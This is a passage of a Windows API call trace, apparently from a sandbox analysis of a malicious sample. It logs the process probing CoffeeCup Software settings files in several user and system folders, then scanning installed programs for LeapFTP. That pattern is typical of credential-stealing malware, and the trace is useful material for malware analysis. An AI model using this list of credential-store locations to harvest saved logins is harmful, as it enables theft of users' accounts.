Software\\SharedSettings_1_0_5.sqlite") returned 0x50 [0068.466] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\coffeecup software\\sharedsettings_1_0_5.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.466] LocalFree (hMem=0x641518) returned 0x0 [0068.466] LocalFree (hMem=0x627248) returned 0x0 [0068.466] LocalFree (hMem=0x643aa8) returned 0x0 [0068.466] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.466] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.466] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.466] lstrlenA (lpString="\\CoffeeCup Software") returned 19 [0068.466] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6292f8 [0068.466] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.466] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\CoffeeCup Software" | out: lpString1="C:\\ProgramData\\CoffeeCup Software") returned="C:\\ProgramData\\CoffeeCup Software" [0068.466] LocalFree (hMem=0x626a88) returned 0x0 [0068.466] lstrlenA (lpString="C:\\ProgramData\\CoffeeCup Software") returned 33 [0068.466] lstrlenA (lpString="\\SharedSettings.ccs") returned 19 [0068.466] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643aa8 [0068.466] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\ProgramData\\CoffeeCup Software" | out: lpString1="C:\\ProgramData\\CoffeeCup Software") returned="C:\\ProgramData\\CoffeeCup Software" [0068.466] lstrcatA (in: lpString1="C:\\ProgramData\\CoffeeCup Software", lpString2="\\SharedSettings.ccs" | out: lpString1="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.ccs") returned="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.ccs" [0068.466] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x36 [0068.466] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643b68 [0068.466] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.ccs", lpDst=0x643b68, nSize=0x36 | out: lpDst="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.ccs") returned 0x35 [0068.466] CreateFileA (lpFileName="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.ccs" (normalized: "c:\\programdata\\coffeecup software\\sharedsettings.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.466] LocalFree (hMem=0x643b68) returned 0x0 [0068.467] LocalFree (hMem=0x643aa8) returned 0x0 [0068.467] lstrlenA (lpString="C:\\ProgramData\\CoffeeCup Software") returned 33 [0068.467] lstrlenA (lpString="\\SharedSettings.sqlite") returned 22 [0068.467] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0068.467] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\ProgramData\\CoffeeCup Software" | out: lpString1="C:\\ProgramData\\CoffeeCup Software") returned="C:\\ProgramData\\CoffeeCup Software" [0068.467] lstrcatA (in: lpString1="C:\\ProgramData\\CoffeeCup Software", lpString2="\\SharedSettings.sqlite" | out: lpString1="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.sqlite") returned="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.sqlite" [0068.467] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x39 [0068.467] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x641518 [0068.467] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.sqlite", lpDst=0x641518, nSize=0x39 | out: lpDst="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.sqlite") returned 0x38 [0068.467] CreateFileA (lpFileName="C:\\ProgramData\\CoffeeCup Software\\SharedSettings.sqlite" (normalized: "c:\\programdata\\coffeecup software\\sharedsettings.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.467] LocalFree (hMem=0x641518) returned 0x0 [0068.467] LocalFree (hMem=0x643aa8) returned 0x0 [0068.467] lstrlenA (lpString="C:\\ProgramData\\CoffeeCup Software") returned 33 [0068.467] lstrlenA (lpString="\\SharedSettings_1_0_5.ccs") returned 25 [0068.467] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0068.467] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData\\CoffeeCup Software" | out: lpString1="C:\\ProgramData\\CoffeeCup Software") returned="C:\\ProgramData\\CoffeeCup Software" [0068.467] lstrcatA (in: lpString1="C:\\ProgramData\\CoffeeCup Software", lpString2="\\SharedSettings_1_0_5.ccs" | out: lpString1="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.ccs") returned="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.ccs" [0068.467] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0068.467] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x626a88 [0068.467] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.ccs", lpDst=0x626a88, nSize=0x3c | out: lpDst="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.ccs") returned 0x3b [0068.467] CreateFileA (lpFileName="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.ccs" (normalized: "c:\\programdata\\coffeecup software\\sharedsettings_1_0_5.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.467] LocalFree (hMem=0x626a88) returned 0x0 [0068.467] LocalFree (hMem=0x641518) returned 0x0 [0068.467] lstrlenA (lpString="C:\\ProgramData\\CoffeeCup Software") returned 33 [0068.467] lstrlenA (lpString="\\SharedSettings_1_0_5.sqlite") returned 28 [0068.467] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x641518 [0068.467] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData\\CoffeeCup Software" | out: lpString1="C:\\ProgramData\\CoffeeCup Software") returned="C:\\ProgramData\\CoffeeCup Software" [0068.467] lstrcatA (in: lpString1="C:\\ProgramData\\CoffeeCup Software", lpString2="\\SharedSettings_1_0_5.sqlite" | out: lpString1="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite") returned="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite" [0068.467] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0068.467] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x626a88 [0068.467] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite", lpDst=0x626a88, nSize=0x3f | out: lpDst="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite") returned 0x3e [0068.468] CreateFileA (lpFileName="C:\\ProgramData\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite" (normalized: "c:\\programdata\\coffeecup software\\sharedsettings_1_0_5.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.468] LocalFree (hMem=0x626a88) returned 0x0 [0068.468] LocalFree (hMem=0x641518) returned 0x0 [0068.468] LocalFree (hMem=0x6292f8) returned 0x0 [0068.468] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.468] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.468] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.468] lstrlenA (lpString="\\CoffeeCup Software") returned 19 [0068.468] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0068.468] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.468] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" [0068.468] LocalFree (hMem=0x626a88) returned 0x0 [0068.468] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned 49 [0068.468] lstrlenA (lpString="\\SharedSettings.ccs") returned 19 [0068.468] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x641518 [0068.468] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" [0068.468] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software", lpString2="\\SharedSettings.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.ccs" [0068.468] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x46 [0068.468] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x626a88 [0068.468] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.ccs", lpDst=0x626a88, nSize=0x46 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.ccs") returned 0x45 [0068.468] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\local\\coffeecup software\\sharedsettings.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.468] LocalFree (hMem=0x626a88) returned 0x0 [0068.468] LocalFree (hMem=0x641518) returned 0x0 [0068.468] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned 49 [0068.468] lstrlenA (lpString="\\SharedSettings.sqlite") returned 22 [0068.468] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x641518 [0068.468] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" [0068.468] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software", lpString2="\\SharedSettings.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.sqlite" [0068.468] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x49 [0068.468] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x627248 [0068.468] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.sqlite", lpDst=0x627248, nSize=0x49 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.sqlite") returned 0x48 [0068.469] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\local\\coffeecup software\\sharedsettings.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.469] LocalFree (hMem=0x627248) returned 0x0 [0068.469] LocalFree (hMem=0x641518) returned 0x0 [0068.469] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned 49 [0068.469] lstrlenA (lpString="\\SharedSettings_1_0_5.ccs") returned 25 [0068.469] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0068.469] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" [0068.469] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software", lpString2="\\SharedSettings_1_0_5.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.ccs" [0068.469] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4c [0068.469] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x627320 [0068.469] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.ccs", lpDst=0x627320, nSize=0x4c | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.ccs") returned 0x4b [0068.469] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\local\\coffeecup software\\sharedsettings_1_0_5.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.469] LocalFree (hMem=0x627320) returned 0x0 [0068.469] LocalFree (hMem=0x627248) returned 0x0 [0068.469] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned 49 [0068.469] lstrlenA (lpString="\\SharedSettings_1_0_5.sqlite") returned 28 [0068.469] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x627248 [0068.469] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software" [0068.469] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software", lpString2="\\SharedSettings_1_0_5.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite" [0068.469] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4f [0068.469] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0068.469] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite", lpDst=0x627320, nSize=0x4f | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite") returned 0x4e [0068.469] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\local\\coffeecup software\\sharedsettings_1_0_5.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.469] LocalFree (hMem=0x627320) returned 0x0 [0068.469] LocalFree (hMem=0x627248) returned 0x0 [0068.469] LocalFree (hMem=0x643aa8) returned 0x0 [0068.470] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.470] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.470] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.470] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.470] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.470] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.470] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.470] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.470] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0068.470] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0068.470] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x1b, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.470] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.470] StrStrA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="unleap.exe") returned 0x0 [0068.470] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="leapftp") returned 0x0 [0068.470] StrStrA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="unleap.exe") returned 0x0 [0068.470] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="leapftp") returned 0x0 [0068.470] StrStrA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="unleap.exe") returned 0x0 [0068.471] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="leapftp") returned 0x0 [0068.471] StrStrA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="unleap.exe") returned 0x0 [0068.472] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="leapftp") returned 0x0 [0068.472] StrStrA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch 